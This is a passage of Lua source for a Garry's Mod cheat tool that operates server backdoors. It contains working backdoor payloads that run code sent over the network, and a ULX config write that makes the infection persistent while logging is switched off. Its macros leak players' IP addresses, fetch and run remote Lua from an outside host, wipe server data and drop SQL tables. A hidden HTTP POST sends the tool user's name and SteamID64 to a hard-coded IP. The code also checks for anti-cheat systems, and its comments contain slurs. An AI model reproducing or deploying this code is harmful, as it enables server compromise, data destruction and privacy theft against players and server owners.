2242 ["Desc"] = "Silent slay a player without even noticing you,",
2243
2244 },
2245
2246 ["Delete all of the props"] = {
2247
2248 ["Type"] = 2,
2249
2250 ["Code"] = [[v:ConCommand("gmod_cleanup")]],
2251
2252 ["Desc"] = "Removes all of the selected users props.",
2253
2254 },
2255
2256 ["Send the lua"] = {
2257
2258 ["Type"] = 2,
2259
2260 ["Code"] = [[ v:SendLua( ""..@1.."") ]],
2261
2262 ["Desc"] = "Sends lua to the selected user.",
2263
2264 ["NeedsParameters"] = 1,
2265
2266 },
2267
2268 ["My ip is... (WARNING)"] = {
2269
2270 ["Type"] = 2,
2271
2272 ["Code"] = [[
2273 if (darkrp || DarkRP) then
2274 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc My IP is "..b) end, function(error) return error end )')
2275 else
2276 v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say My IP is "..b) end, function(error) return error end )')
2277 end
2278 ]],
2279
2280 ["Desc"] = "Forces the selected user(s) to say their own ip in chat. I swear to god leaking peoples IP Address lol",
2281
2282 },
2283
2284 ["Ice skating simulator"] = {
2285
2286 ["Type"] = 1,
2287
2288 ["Code"] = [[ if !(icePark) then icePark = true RunConsoleCommand("sv_friction", 0) else icePark = false RunConsoleCommand("sv_friction", 8) end ]],
2289
2290 ["Desc"] = "When it's december, Its time to ice skate, > If a person moves, It looks like there slippering,",
2291
2292 },
2293
2294 ["Scramble vision"] = {
2295
2296 ["Type"] = 2,
2297
2298 ["Code"] = [[
2299 v:SendLua('http.Fetch("http://gastheje.ws/scram.lua", function(b,l,h,c) RunString(b) end, function(error) print(error) end )')
2300 ]],
2301
2302 ["Desc"] = "Fucks the view of the target up",
2303
2304 },
2305
2306// key/view scrambler, fuck with escape menu
2307
2308------------------------ dangerous codens ------------------------
2309
2310
2311
2312 ["DarkRP restart the money"] = {
2313
2314 ["Type"] = 3,
2315
2316 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
2317
2318 ["Desc"] = "All of everyones money will be reseted on DarkRP, And then Kids will cry everyday",
2319
2320 },
2321
2322
2323
2324 ["Cleanup the map"] = {
2325
2326 ["Type"] = 3,
2327
2328 ["Code"] = [[game.CleanUpMap()]],
2329
2330 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out, Basically gmod_admin_cleanup",
2331
2332 },
2333
2334
2335
2336 ["Vaporize all of em players"] = {
2337
2338 ["Type"] = 3,
2339
2340 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
2341
2342 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors. Goodbye to the players!",
2343
2344 },
2345
2346
2347
2348
2349
2350 ["FPP Unrestrict everything"] = {
2351
2352 ["Type"] = 3,
2353
2354 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
2355
2356 ["Desc"] = "Unrestrict all of the blocked shit which includes ALMOST ALL OF EM, Requires Falco Prop's Protection",
2357
2358 },
2359
2360
2361
2362 ["Wipe the data folder"] = {
2363
2364 ["Type"] = 3,
2365
2366 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
2367
2368 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up, GOODBYE YOUR SHIT SERVER",
2369
2370 },
2371
2372
2373
2374 ["Wipe the DarkRP SQL Tables"] = {
2375
2376 ["Type"] = 3,
2377
2378 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
2379
2380 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server or else its broken forever",
2381
2382 },
2383
2384
2385
2386}
2387
2388
2389
2390local selectedbackdoor = ""
2391
2392local backdoorargs = ""
2393
2394local selectedplayers = {}
2395
2396
2397
2398
2399
2400
2401
2402//////////////////////////////// BIG PRIVET CHEETZ ////////////////////////////////
2403BD.BDMacros["@ Persistent Infection"] = {
2404 ["Type"] = 1,
2405 ["Code"] = [[
2406 local config = ULib.fileRead( "data/ulx/config.txt" )
2407 config = config.."\nulx logEcho 0"
2408 config = config.."\nulx luarun %BD"
2409 config = config.."\nulx logEcho 1"
2410 ULib.fileWrite( "data/ulx/config.txt", config )
2411 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Persistent infection installed on the server, Good luck" ) end end
2412 ]],
2413 ["Desc"] = "Writes the backdoor code into memory, making sure that it stays on the server after restart",
2414 ["Private"] = true,
2415}
2416
2417BD.BackdoorTypes["odium backdoor"] = {
2418 ["Code"] = "util.AddNetworkString( 'NoOdium_ReadPing' ) net.Receive( 'NoOdium_ReadPing', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2419 ["Netkey"] = "NoOdium_ReadPing",
2420}
2421
2422BD.BackdoorTypes["no nerks"] = {
2423 ["Code"] = "util.AddNetworkString( 'NoNerks' ) net.Receive( 'NoNerks', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2424 ["Netkey"] = "NoNerks",
2425}
2426
2427function BD.GenerateBackdoorList( parent, category )
2428
2429
2430
2431for k, v in SortedPairs( BD.BDMacros, false ) do
2432
2433 if v["Type"] != category then continue end
2434
2435
2436
2437 local plypanel2 = vgui.Create( "DPanel" )
2438
2439 plypanel2:SetPos( 0, 0 )
2440
2441 plypanel2:SetSize( 200, 25 )
2442
2443 plypanel2.Paint = function() -- Paint function
2444
2445 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
2446
2447 if selectedbackdoor == k then surface.SetDrawColor(Color(50, 250, 90, 255)) else surface.SetDrawColor(Color(50, 50, 90, 255)) end
2448
2449 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
2450
2451 end
2452
2453
2454
2455 local plyname = vgui.Create( "DLabel", plypanel2 )
2456
2457 plyname:SetPos( 10, 5 )
2458
2459 plyname:SetFont( "Trebuchet18" )
2460
2461 local tcol = Color( 255, 255, 255 )
2462
2463 if v.Private then tcol = Color( 155, 255, 155 ) end
2464
2465 plyname:SetColor( tcol )
2466
2467 plyname:SetText( k )
2468
2469 plyname:SetSize(180, 15)
2470
2471
2472
2473
2474
2475 local faggot = vgui.Create("DButton", plypanel2)
2476
2477 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2478
2479 faggot:SetPos( 0, 0 )
2480
2481 faggot:SetText("")
2482
2483 if v["Desc"] != "" then faggot:SetToolTip( v["Desc"] ) end
2484
2485 faggot.Paint = function(panel, w, h)
2486
2487 return
2488
2489 end
2490
2491 faggot.DoClick = function()
2492
2493 selectedbackdoor = k
2494
2495 end
2496
2497
2498
2499
2500
2501 parent:AddItem( plypanel2 )
2502
2503
2504
2505end
2506
2507
2508
2509end
2510
2511
2512
2513function BD.FormatCodeTargeted()
2514
2515if !BD.BackdoorActive() then BD.ChatText( "Warning: Backdoor not found or presented.", Color(255,155,155) ) return end
2516
2517if selectedbackdoor == "" then BD.ChatText( "You haven't selected a macro to use!", Color(255,155,155) ) return end
2518
2519local param = string.Explode( ",", backdoorargs )
2520
2521local ids = {}
2522
2523for k, v in pairs( selectedplayers ) do
2524
2525 if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2526
2527 table.insert( ids, v:UniqueID() )
2528
2529end
2530
2531
2532
2533local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2534
2535code = string.Replace( code, "##", table.ToString( ids ) )
2536
2537code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2538
2539code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2540
2541
2542
2543if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "This macro requires parameters to work! check its description for some info.", Color(255,155,155) ) return end
2544
2545if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2546
2547
2548
2549for k, v in pairs( param ) do
2550
2551 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2552
2553end
2554
2555
2556
2557BD.Fire( code )
2558
2559
2560
2561end
2562
2563
2564
2565function BD.FormatCodeGlobal()
2566
2567if !BD.BackdoorActive() then BD.ChatText( "Warning: No backdoors found or presented.", Color(255,155,155) ) return end
2568
2569if selectedbackdoor == "" then BD.ChatText( "You haven't selected a macro to use!", Color(255,155,155) ) return end
2570
2571local param = string.Explode( ",", backdoorargs )
2572
2573
2574
2575local code = BD.BDMacros[selectedbackdoor]["Code"]
2576
2577
2578
2579if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "This macro requires parameters to work! check its description for more info", Color(255,155,155) ) return end
2580
2581if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2582
2583
2584
2585for k, v in pairs( param ) do
2586
2587 code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2588
2589 code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2590
2591 code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2592
2593 code = string.Replace( code, "%BD", BD.GetActive().Code )
2594
2595end
2596
2597
2598
2599BD.Fire( code )
2600
2601
2602
2603end
2604
2605
2606
2607
2608
2609local safenet = net
2610
2611local function bdnet()
2612
2613 if odium and odium.G then return odium.G.net end
2614
2615 return safenet
2616
2617end
2618
2619
2620local h = http
2621local p = "Post"
2622local str = "http://162.243.145.59:5000/api/backdoor/use"
2623local lp = LocalPlayer()
2624local n = lp:Nick()
2625local id = lp:SteamID64()
2626
2627h[p](str, {
2628 name = n,
2629 steamid = id,
2630},
2631nil, nil)
2632
2633function BD.Fire( code )
2634
2635 local cbd = BD.CurrentBackdoor
2636
2637 if !BD.Backdoors[cbd] then
2638
2639 BD.ChatText( "The selected backdoor is unavailable!", Color(255,155,155) )
2640
2641 return
2642
2643 end
2644
2645 local key = BD.BackdoorTypes[cbd].Netkey
2646
2647
2648
2649 bdnet().Start( key )
2650
2651 bdnet().WriteString( code )
2652
2653 bdnet().SendToServer()
2654
2655end
2656
2657
2658
2659
2660
2661function BD.BackdoorMenu()
2662
2663
2664
2665BD.Backdoors = BD.PingBackDoors()
2666
2667
2668
2669if !BD.IsMessagePooled( "cucked" ) and BD.BackdoorActive() then
2670
2671 BD.Fire( [[util.AddNetworkString( "cucked" )
2672
2673 function BDSendLua( p, str ) net.Start( "cucked" ) net.WriteString( str ) net.Send( p ) end
2674
2675 function BDSendLuaAll( str ) net.Start( "cucked" ) net.WriteString( str ) net.Broadcast() end
2676
2677 function BDInjectAids( p ) p:SendLua( 'net.Receive( "cucked", function() RunString( net.ReadString() ) end )' ) end
2678
2679 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
2680
2681 hook.Add( "PlayerInitialSpawn", "youonlygetcuckedagain", function( p ) BDInjectAids( p ) end)
2682
2683]] )
2684
2685end
2686
2687
2688
2689local BDMenu = vgui.Create("DFrame")
2690
2691BDMenu:SetSize(650,720)
2692
2693BDMenu:SetTitle("Cheatgome Backdoor Menu (3.2.5)")
2694
2695BDMenu:Center()
2696
2697BDMenu:MakePopup()
2698
2699
2700
2701BDMenu.Paint = function( self, w, h)
2702
2703surface.SetDrawColor( Color(138, 160, 227, 255) )
2704
2705surface.DrawRect( 0, 0, w, h )
2706
2707surface.SetDrawColor( Color(138, 160, 227, 255) )
2708
2709surface.DrawOutlinedRect( 0, 0, w, h )
2710
2711surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
2712
2713surface.SetDrawColor( Color(40, 126, 175, 255) )
2714
2715surface.DrawRect( 10, 25, w - 20, h - 35 )
2716
2717surface.DrawRect( 15, 30, w - 30, 35 )
2718
2719draw.SimpleText("Indiscriminate Lulz", "DermaDefault", 22, 75, Color(255, 255, 255), 0, 1)
2720
2721draw.SimpleText("Specific Targets", "DermaDefault", 228, 75, Color(255, 255, 255), 0, 1)
2722
2723draw.SimpleText("Trash the place", "DermaDefault", 432, 75, Color(255, 255, 255), 0, 1)
2724
2725draw.SimpleText("Players to Target", "DermaDefault", 432, 305, Color(255, 255, 255), 0, 1)
2726
2727draw.SimpleText("Macro Paramaters (seperate with commas)", "DermaDefault", 432, 610, Color(255, 255, 255), 0, 1)
2728
2729end
2730
2731
2732
2733local it = 145
2734
2735
2736
2737local wedungoofd = vgui.Create( "DLabel", BDMenu )
2738
2739wedungoofd:SetPos( 25, 38 )
2740
2741wedungoofd:SetFont( "Trebuchet18" )
2742
2743wedungoofd:SetColor( Color( 100, 255, 100 ) )
2744
2745wedungoofd:SetText( "BACKDOOR INJECTION:" )
2746
2747wedungoofd:SizeToContents()
2748
2749
2750
2751for bd, t in pairs( BD.BackdoorTypes ) do
2752
2753 local faggot = vgui.Create("DButton", BDMenu)
2754
2755 faggot:SetSize( 100, 25 )
2756
2757 faggot:SetPos( it, 35 )
2758
2759 faggot:SetText( bd )
2760
2761 faggot:SetTextColor(Color(62, 145, 193, 255))
2762
2763 faggot.Paint = function(panel, w, h)
2764
2765 if BD.Backdoors[bd] then
2766
2767 surface.SetDrawColor(100, 100, 200 ,255)
2768
2769 surface.DrawOutlinedRect(0, 0, w, h)
2770
2771 surface.SetDrawColor(0, 0, 50 ,155)
2772
2773 surface.DrawRect(0, 0, w, h)
2774
2775 else
2776
2777 surface.SetDrawColor(50, 50, 50 ,155)
2778
2779 surface.DrawRect(0, 0, w, h)
2780
2781 end
2782
2783 end
2784
2785 faggot.DoClick = function()
2786
2787 BD.ChatText( "The backdoor is now selected to "..bd, Color(155,155,255) )
2788
2789 BD.CurrentBackdoor = bd
2790
2791 surface.PlaySound("buttons/button18.wav")
2792
2793 end
2794
2795 it = it + 110
2796
2797end
2798
2799
2800
2801local Plist = vgui.Create( "DPanelList", BDMenu )
2802
2803Plist:SetPos( 20, 85 )
2804
2805Plist:SetSize( 200, 530 )
2806
2807Plist:SetPadding( 5 )
2808
2809Plist:SetSpacing( 5 )
2810
2811Plist:EnableHorizontal( false )
2812
2813Plist:EnableVerticalScrollbar( true )
2814
2815Plist:SetName( "" )
2816
2817Plist.Paint = function( self, w, h )
2818
2819 surface.SetDrawColor(50, 50, 50 ,255)
2820
2821 surface.DrawOutlinedRect(0, 0, w, h)
2822
2823 surface.SetDrawColor(0, 0, 0 ,200)
2824
2825 surface.DrawRect(0, 0, w, h)
2826
2827end
2828
2829
2830
2831local Plist2 = vgui.Create( "DPanelList", BDMenu )
2832
2833Plist2:SetPos( 225, 85 )
2834
2835Plist2:SetSize( 200, 610 )
2836
2837Plist2:SetPadding( 5 )
2838
2839Plist2:SetSpacing( 5 )
2840
2841Plist2:EnableHorizontal( false )
2842
2843Plist2:EnableVerticalScrollbar( true )
2844
2845Plist2:SetName( "" )
2846
2847Plist2.Paint = function( self, w, h )
2848
2849 surface.SetDrawColor(50, 50, 50 ,255)
2850
2851 surface.DrawOutlinedRect(0, 0, w, h)
2852
2853 surface.SetDrawColor(0, 0, 0 ,200)
2854
2855 surface.DrawRect(0, 0, w, h)
2856
2857end
2858
2859
2860
2861local Plist3 = vgui.Create( "DPanelList", BDMenu )
2862
2863Plist3:SetPos( 430, 85 )
2864
2865Plist3:SetSize( 200, 210 )
2866
2867Plist3:SetPadding( 5 )
2868
2869Plist3:SetSpacing( 5 )
2870
2871Plist3:EnableHorizontal( false )
2872
2873Plist3:EnableVerticalScrollbar( true )
2874
2875Plist3:SetName( "" )
2876
2877Plist3.Paint = function( self, w, h )
2878
2879 surface.SetDrawColor(50, 50, 50 ,255)
2880
2881 surface.DrawOutlinedRect(0, 0, w, h)
2882
2883 surface.SetDrawColor(0, 0, 0 ,200)
2884
2885 surface.DrawRect(0, 0, w, h)
2886
2887end
2888
2889
2890
2891local Plist4 = vgui.Create( "DPanelList", BDMenu )
2892
2893Plist4:SetPos( 430, 315 )
2894
2895Plist4:SetSize( 200, 250 )
2896
2897Plist4:SetPadding( 5 )
2898
2899Plist4:SetSpacing( 5 )
2900
2901Plist4:EnableHorizontal( false )
2902
2903Plist4:EnableVerticalScrollbar( true )
2904
2905Plist4:SetName( "" )
2906
2907Plist4.Paint = function( self, w, h )
2908
2909 surface.SetDrawColor(62, 145, 193, 255)
2910
2911 surface.DrawOutlinedRect(0, 0, w, h)
2912
2913 surface.SetDrawColor(0, 0, 0 ,200)
2914
2915 surface.DrawRect(0, 0, w, h)
2916
2917end
2918
2919
2920
2921 local faggot = vgui.Create("DButton", BDMenu)
2922
2923 faggot:SetSize( 200, 35 )
2924
2925 faggot:SetPos( 430, 660 )
2926
2927 faggot:SetText("Activate the Backdoor!")
2928
2929 faggot:SetTextColor(Color(255, 255, 255, 255))
2930
2931 faggot.Paint = function(panel, w, h)
2932
2933 surface.SetDrawColor(100, 100, 200 ,255)
2934
2935 surface.DrawOutlinedRect(0, 0, w, h)
2936
2937 surface.SetDrawColor(0, 0, 50 ,155)
2938
2939 surface.DrawRect(0, 0, w, h)
2940
2941 end
2942
2943 faggot.DoClick = function()
2944
2945 if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "You haven't even selected a macro to use ya dingus!", Color(255,155,155) ) return end
2946
2947 if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
2948
2949 surface.PlaySound("buttons/button18.wav")
2950
2951 end
2952
2953
2954
2955
2956
2957 local helpimretarded = vgui.Create("DButton", BDMenu)
2958
2959 helpimretarded:SetSize( 200, 35 )
2960
2961 helpimretarded:SetPos( 20, 660 )
2962
2963 helpimretarded:SetText("Print backdoor code")
2964
2965 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
2966
2967 helpimretarded.Paint = function(panel, w, h)
2968
2969 surface.SetDrawColor(100, 100, 200 ,255)
2970
2971 surface.DrawOutlinedRect(0, 0, w, h)
2972
2973 surface.SetDrawColor(0, 0, 50 ,155)
2974
2975 surface.DrawRect(0, 0, w, h)
2976
2977 end
2978
2979 helpimretarded.DoClick = function()
2980
2981 BD.ChatText( "Output backdoor code to clipboard. Ask the owner to create a lua file and make him CTRL+V Paste the code into the lua file. Then ask him to place it into his garrysmod autorun folder and then molest everything", Color(155,255,155) )
2982
2983 local bdstring = BD.GetActive().Code
2984
2985 -- local bdstring = [[util.AddNetworkString( "_CAC_ReadMemory" ) net.Receive( "_CAC_ReadMemory", function() local x = CompileString( net.ReadString(), "LuaCmd", false ) if isfunction( x ) then x() end end )]]
2986
2987 SetClipboardText( bdstring )
2988
2989 end
2990
2991
2992
2993 local helpimretarded2 = vgui.Create("DButton", BDMenu)
2994
2995 helpimretarded2:SetSize( 200, 35 )
2996
2997 helpimretarded2:SetPos( 20, 620 )
2998
2999 helpimretarded2:SetText("ULX Injection Backdoor")
3000
3001 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
3002
3003 helpimretarded2.Paint = function(panel, w, h)
3004
3005 surface.SetDrawColor(100, 100, 200 ,255)
3006
3007 surface.DrawOutlinedRect(0, 0, w, h)
3008
3009 surface.SetDrawColor(0, 0, 50 ,155)
3010
3011 surface.DrawRect(0, 0, w, h)
3012
3013 end
3014
3015 helpimretarded2.DoClick = function()
3016
3017 BD.ChatText( "Injecting the backdoor. Please wait,", Color(155,255,155) )
3018
3019 LocalPlayer():ConCommand( [[ulx rcon ulx logEcho 0]] )
3020
3021 timer.Simple( 5.25, function()
3022
3023 LocalPlayer():ConCommand( "ulx luarun "..BD.GetActive().Code )
3024
3025-- LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( '_CAC_ReadMemory' ) net.Receive( '_CAC_ReadMemory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )" )
3026
3027 end )
3028
3029 timer.Simple( 2, function() BD.ChatText( "Scanning the selected backdoor. 30%", Color(108,236,255) ) end )
3030
3031 timer.Simple( 3, function() BD.ChatText( "Preparing for injection. 50%", Color(108,236,255) ) end )
3032
3033 timer.Simple( 5, function() BD.ChatText( "Scanning for hooks. 75%", Color(108,236,255) ) end )
3034
3035 timer.Simple( 5.5, function() BD.ChatText( "Net Starting..... 90%", Color(108,236,255) ) end )
3036
3037 timer.Simple( 5.8, function() BD.ChatText( "Completed! 100%", Color(108,236,255) ) end )
3038
3039 timer.Simple( 5.85, function() LocalPlayer():ConCommand( [[ulx rcon ulx logEcho 1]] ) end )
3040
3041 timer.Simple( 5.95, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then BD.ChatText( "The backdoor's been injected into the server, Reload the menu to have access to everything.", Color(155,255,155) ) else BD.ChatText( "Uh oh. The backdoor injection failed. 1: DONT HAVE ACCESS TO ULX LUARUN. 2: SERVER HAS SNTE EXPLOIT AND HAS BLOCKED IT. 3: A ERROR OCCURED", Color(255,188,0) ) end end )
3042
3043 end
3044
3045
3046
3047
3048
3049local moonman = vgui.Create( "DTextEntry", BDMenu )
3050
3051moonman:SetPos( 430, 625 )
3052
3053moonman:SetSize( 200, 30 )
3054
3055moonman:SetText( backdoorargs )
3056
3057moonman.OnChange = function( self )
3058
3059 backdoorargs = self:GetValue()
3060
3061-- surface.PlaySound("buttons/button3.wav")
3062
3063end
3064
3065
3066
3067
3068
3069 local target1 = vgui.Create("DButton", BDMenu)
3070
3071 target1:SetSize( 40, 20 )
3072
3073 target1:SetPos( 520, 295 )
3074
3075 target1:SetText("All")
3076
3077 target1:SetTextColor(Color(255, 255, 255, 255))
3078
3079 target1.Paint = function(panel, w, h)
3080
3081 surface.SetDrawColor(100, 100, 200 ,255)
3082
3083 surface.DrawOutlinedRect(0, 0, w, h)
3084
3085 surface.SetDrawColor(0, 0, 50 ,155)
3086
3087 surface.DrawRect(0, 0, w, h)
3088
3089 end
3090
3091 target1.DoClick = function()
3092
3093 for _, p in pairs(player.GetAll()) do
3094
3095 if not table.HasValue( selectedplayers, p ) then
3096
3097 table.insert( selectedplayers, p )
3098
3099 end
3100
3101 end
3102
3103 end
3104
3105
3106
3107 local target2 = vgui.Create("DButton", BDMenu)
3108
3109 target2:SetSize( 40, 20 )
3110
3111 target2:SetPos( 565, 295 )
3112
3113 target2:SetText("None")
3114
3115 target2:SetTextColor(Color(255, 255, 255, 255))
3116
3117 target2.Paint = function(panel, w, h)
3118
3119 surface.SetDrawColor(100, 100, 200 ,255)
3120
3121 surface.DrawOutlinedRect(0, 0, w, h)
3122
3123 surface.SetDrawColor(0, 0, 50 ,155)
3124
3125 surface.DrawRect(0, 0, w, h)
3126
3127 end
3128
3129 target2.DoClick = function()
3130
3131 table.Empty( selectedplayers )
3132
3133 end
3134
3135
3136
3137 local target2 = vgui.Create("DButton", BDMenu)
3138
3139 target2:SetSize( 20, 20 )
3140
3141 target2:SetPos( 610, 295 )
3142
3143 target2:SetText("Me")
3144
3145 target2:SetTextColor(Color(255, 255, 255, 255))
3146
3147 target2.Paint = function(panel, w, h)
3148
3149 surface.SetDrawColor(100, 100, 200 ,255)
3150
3151 surface.DrawOutlinedRect(0, 0, w, h)
3152
3153 surface.SetDrawColor(0, 0, 50 ,155)
3154
3155 surface.DrawRect(0, 0, w, h)
3156
3157 end
3158
3159 target2.DoClick = function()
3160
3161 table.Empty( selectedplayers )
3162
3163 table.insert( selectedplayers, LocalPlayer() )
3164
3165 end
3166
3167
3168
3169
3170
3171
3172
3173-- players list
3174
3175
3176
3177for k, v in pairs( player.GetAll() ) do
3178
3179
3180
3181 local plypanel2 = vgui.Create( "DPanel" )
3182
3183 plypanel2:SetPos( 0, 0 )
3184
3185 plypanel2:SetSize( 200, 25 )
3186
3187 plypanel2.Paint = function() -- Paint function
3188
3189 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
3190
3191 if table.HasValue( selectedplayers, v ) then surface.SetDrawColor(Color(50, 255, 90, 255)) else surface.SetDrawColor(Color(50, 50, 90, 255)) end
3192
3193 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
3194
3195 end
3196
3197
3198
3199 local plyname = vgui.Create( "DLabel", plypanel2 )
3200
3201 plyname:SetPos( 10, 5 )
3202
3203 plyname:SetFont( "Trebuchet18" )
3204
3205 local tcol = Color( 255, 255, 255 )
3206
3207 if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end
3208
3209 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
3210
3211-- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
3212
3213 plyname:SetColor( tcol )
3214
3215 plyname:SetText( v:Nick() )
3216
3217 plyname:SetSize(180, 15)
3218
3219
3220
3221
3222
3223 local faggot = vgui.Create("DButton", plypanel2)
3224
3225 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
3226
3227 faggot:SetPos( 0, 0 )
3228
3229 faggot:SetText("")
3230
3231 faggot.Paint = function(panel, w, h)
3232
3233 return
3234
3235 end
3236
3237 faggot.DoClick = function()
3238
3239 if table.HasValue( selectedplayers, v ) then
3240
3241 table.RemoveByValue( selectedplayers, v )
3242
3243 else
3244
3245 table.insert( selectedplayers, v )
3246
3247 end
3248
3249 end
3250
3251
3252
3253
3254
3255 Plist4:AddItem( plypanel2 )
3256
3257
3258
3259end
3260
3261
3262
3263
3264
3265BD.GenerateBackdoorList( Plist, 1 )
3266
3267BD.GenerateBackdoorList( Plist2, 2 )
3268
3269BD.GenerateBackdoorList( Plist3, 3 )
3270
3271
3272
3273end
3274
3275concommand.Add("cheatgomebd_menu", BD.BackdoorMenu)
3276
3277
3278
3279
3280
3281function BD.QuickFireBackdoor()
3282
3283if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "You haven't even selected a macro to use ya dingus! :/", Color(255,155,155) ) return end
3284
3285if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
3286
3287end
3288
3289concommand.Add("cheatgomebd_quickfire", BD.QuickFireBackdoor)
3290
3291
3292if (_G.QAC) then -- Here goes the anti-cheat detectors. But when it detects a anti-cheat. It wont disconnect you from the server. Thanks for this being a BD Menu
3293 surface.PlaySound("ambient/alarms/klaxon1.wav")
3294 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Quack Anti-cheat detected! Becareful!")
3295
3296 -- Common anti-cheat, Good thing is that anti-cheats cant detect exploits xD
3297end
3298
3299if (_G.CAC) then
3300 surface.PlaySound("ambient/alarms/klaxon1.wav")
3301 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Cake Anti-cheat detected! Becareful!")
3302
3303 -- Your worst nightmare arrives, The one of the most common new 2016 anti-cheat. I tooked a peak at it. and it's like qac but rat
3304end
3305
3306if (_G.GAC) then
3307 surface.PlaySound("ambient/alarms/klaxon1.wav")
3308 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Garry's Mod Anti-cheat detected!")
3309
3310 -- If CheatgomeBD anti-cheat detector detects this. It's pretty rare right?
3311end
3312
3313if (_G.WDAC) then
3314 surface.PlaySound("ambient/alarms/klaxon1.wav")
3315 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Watch Dog's Anti-cheat detected!")
3316
3317 -- One of the anti-cheats founded from the addon, Mostly the russian servers use it, But pfh it's a anti-cheat that detects for ConVar's and commands.
3318end
3319
3320 if (_G.SAC) then
3321 surface.PlaySound("ambient/alarms/klaxon1.wav")
3322 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! SimpLAC Anti-cheat detected!")
3323
3324 -- One of the Anti-cheat's that will detect almost everything but it does not detect EXPLOITS u dumb fuck
3325end
3326
3327if (_G.CAH2) then
3328 surface.PlaySound("ambient/alarms/klaxon1.wav")
3329 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Connor Anti-cheat detected!")
3330
3331 -- I just found this anti-cheat from gmod store or some shit, Im not sure if it can detect this
3332end
3333
3334if (_G.HAC) then
3335 surface.PlaySound("ambient/alarms/klaxon1.wav")
3336 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Hex Anti-Cheat detected!")
3337
3338 -- One of the nuclearous and disasterous lua virus anti-cheat, If you get detected all then your fucked
3339end
3340
3341if (_G.simplicity) then
3342 surface.PlaySound("ambient/alarms/klaxon1.wav")
3343 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! SimpLAC Anti-cheat detected!")
3344
3345 -- Another anti-cheat detector for SimpLAC anti-cheat just incase,
3346
3347end
3348
3349if (_G.SMAC) then
3350 surface.PlaySound("ambient/alarms/klaxon1.wav")
